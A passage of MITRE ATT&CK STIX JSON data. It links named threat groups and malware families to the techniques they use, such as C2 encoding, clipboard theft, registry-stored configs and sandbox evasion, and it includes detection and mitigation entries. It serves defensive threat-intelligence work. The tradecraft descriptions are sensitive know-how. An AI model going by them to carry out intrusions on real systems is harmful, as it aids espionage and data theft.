hijack a legitimate user's SSH session to move laterally within an environment.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59223275-a57b-45ca-94b6-5c504165d8f9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.071Z","description":"(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--592324b4-064a-430c-8ffc-7f7acd537778","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[DDKONG](https://attack.mitre.org/software/S0255) uses Rundll32 to ensure only a single instance of itself is running at once.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59261bc8-0220-4e37-8018-7a3618a5dd1b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Rover","description":"Ray, V., Hayashi, K. (2016, February 29). New Malware ‘Rover’ Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"}],"modified":"2020-03-16T17:46:07.859Z","description":"[Rover](https://attack.mitre.org/software/S0090) automatically searches for files on local drives based on a predefined list of file extensions and sends them to the command and control server every 60 minutes. [Rover](https://attack.mitre.org/software/S0090) also automatically sends keylogger files and screenshots to the C2 server on a regular timeframe.(Citation: Palo Alto Rover)","relationship_type":"uses","source_ref":"malware--6b616fc1-1505-48e3-8b2c-0d19337bff38","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5926c79d-b8a7-419a-b789-7e2ff1ee32b9","created":"2021-10-13T22:50:48.785Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec WastedLocker June 2020","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T18:23:56.403Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has stored collected data in a .tmp file.(Citation: Symantec WastedLocker June 2020)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5929ef3e-3945-4ede-b3cd-94f47850a6bd","created":"2019-06-17T18:43:35.392Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro TropicTrooper 2015","description":"Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.","url":"https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"},{"source_name":"TrendMicro Tropic Trooper May 2020","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:24:22.262Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) used pr and an openly available tool to scan for open ports on target systems.(Citation: TrendMicro TropicTrooper 2015)(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--592a2355-077e-4692-a28a-da998ed5f937","type":"relationship","created":"2021-07-06T14:15:00.532Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-06T14:15:00.532Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) has used the LadonGo scanner to scan target networks.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--592df85b-8f0b-46c1-87e6-fa48da9c0ead","type":"relationship","created":"2019-01-31T00:36:41.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","source_name":"Talos Konni May 2017"}],"modified":"2019-07-26T18:47:19.517Z","description":"[KONNI](https://attack.mitre.org/software/S0356) had a feature to steal data from the clipboard.(Citation: Talos Konni May 2017)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59336377-92b2-4a82-97a1-414710a0a3dc","created":"2023-10-02T20:41:47.867Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T20:41:47.867Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can store configuration information for the kernel driver and kernel driver loader components in an encrypted blob typically found at `HKLM:\\SOFTWARE\\Classes\\.wav\\OpenWithProgIds.`(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--593ab072-9083-4ff4-bc9e-adf29163cfb7","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor newly executed processes that may gather information in an attempt to calculate the geographical location of a victim host.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--593d77c0-bcd3-4331-a75b-66cfa103e31d","created":"2023-09-22T20:27:04.666Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T20:28:11.042Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used access to the victim's Azure tenant to create Azure VMs.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5940076b-120a-4588-b227-7fe2bc9f7ccd","type":"relationship","created":"2019-04-17T22:55:43.590Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2019-04-22T20:18:07.150Z","description":"[Remexi](https://attack.mitre.org/software/S0375) collects text from the clipboard.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59433b3a-625d-4a06-a6fa-1bebeda60975","created":"2023-09-05T17:49:03.105Z","revoked":false,"external_references":[{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-05T17:49:03.105Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has the ability to collect data from a compromised machine to deliver to the attacker.(Citation: Symantec FIN8 Jul 2023) ","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--594a13ec-9187-4410-95a2-99684183200f","created":"2021-11-16T15:32:34.289Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC FoggyWeb September 2021","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021.","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:32:16.997Z","description":"[FoggyWeb](https://attack.mitre.org/software/S0661) has been XOR-encoded.(Citation: MSTIC FoggyWeb September 2021)","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--594c7de5-a022-44d9-873d-630929169a5d","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for changes made to windows registry key or values for unexpected modifications of the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList key.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5950182b-4e27-4d5e-87bb-c8598314622c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-03-16T15:31:24.393Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) downloads an executable and injects it directly into a new process.(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--595be2e7-9f2a-4d5a-b23d-8e4822ae6199","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.380Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has exfiltrated files stolen from file shares.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--596099b1-11a9-43c3-ae21-d5a31233e5c2","created":"2023-03-26T20:17:19.308Z","revoked":false,"external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:17:19.308Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can store its encoded configuration file within Software\\Classes\\scConfig in either HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5968f7a6-a300-4a1b-9a4e-655e9300392b","created":"2022-09-29T19:17:03.296Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T19:17:03.296Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used the command `net localgroup \"adminstrator\" ` to identify accounts with local administrator rights.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5969ad50-e47d-4d5f-96f0-c346e997d737","created":"2023-05-24T16:54:02.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Chromium HSTS","description":"Chromium. (n.d.). HTTP Strict Transport Security. Retrieved May 24, 2023.","url":"https://www.chromium.org/hsts/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T22:50:50.558Z","description":"Consider implementing policies on internal web servers, such HTTP Strict Transport Security, that enforce the use of HTTPS/network traffic encryption to prevent insecure connections.(Citation: Chromium HSTS)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5969ffbe-edd3-4bb3-aee4-4e73ac9c6a7f","type":"relationship","created":"2021-09-22T21:17:31.953Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Shining A Light on DARKSIDE May 2021","url":"https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html","description":"FireEye. (2021, May 11). Shining a Light on DARKSIDE Ransomware Operations. Retrieved September 22, 2021."}],"modified":"2021-09-22T21:17:31.953Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has relied upon users clicking on a malicious link delivered through phishing.(Citation: FireEye Shining A Light on DARKSIDE May 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--596ef2d8-53ff-4fde-8dd2-08b53371d0da","created":"2022-10-19T15:32:29.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs reversing run-only applescripts 2021","description":"Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.","url":"https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T18:20:17.699Z","description":"[macOS.OSAMiner](https://attack.mitre.org/software/S1048) has used run-only Applescripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to remove human readable indicators to evade detection.(Citation: SentinelLabs reversing run-only applescripts 2021)","relationship_type":"uses","source_ref":"malware--2a59a237-1530-4d55-91f9-2aebf961cc37","target_ref":"attack-pattern--2f41939b-54c3-41d6-8f8b-35f1ec18ed97","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--596f9132-84e2-42c9-ad58-8833fe38b1e6","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2020-03-20T18:15:21.629Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) encodes communications to the C2 server in Base64.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5970c81f-932b-47e9-a63b-b4e30c351e7f","type":"relationship","created":"2021-12-29T15:08:44.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Tomiris Sep 2021","url":"https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/","description":"Kwiatkoswki, I. and Delcher, P. (2021, September 29). DarkHalo After SolarWinds: the Tomiris connection. Retrieved December 27, 2021."}],"modified":"2021-12-29T15:08:44.538Z","description":"[Tomiris](https://attack.mitre.org/software/S0671) has the ability to sleep for at least nine minutes to evade sandbox-based analysis systems.(Citation: Kaspersky Tomiris Sep 2021)","relationship_type":"uses","source_ref":"malware--327b3a25-9e60-4431-b3b6-93b9c64eacbc","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59720c1c-115a-4206-aaa0-42ec4b03f6eb","created":"2024-05-17T13:43:08.357Z","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T13:43:08.357Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) will drop a copy of itself to a subfolder in %Program Data% or %Program Data%\\\\Microsoft\\\\ to attempt privilege elevation and defense evasion if not running in Session 0.(Citation: TrendMicro RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--597555f7-33e3-4699-9acf-9c7f15a850c9","created":"2019-02-12T21:28:19.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.858Z","description":"[Seasalt](https://attack.mitre.org/software/S0345) has masqueraded as a service called \"SaSaut\" with a display name of \"System Authorization Service\" in an apparent attempt to masquerade as a legitimate service.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b45747dc-87ca-4597-a245-7e16a61bc491","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59795019-752e-437a-a49c-cdd789868694","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor newly executed processes associated with account creation, such as net.exe ","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--597ca258-3af4-4e51-abf9-b192e98939fd","type":"relationship","created":"2021-06-30T14:32:27.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-30T14:32:27.776Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) has used WMIC.exe for lateral movement.(Citation: Bitdefender Naikon April 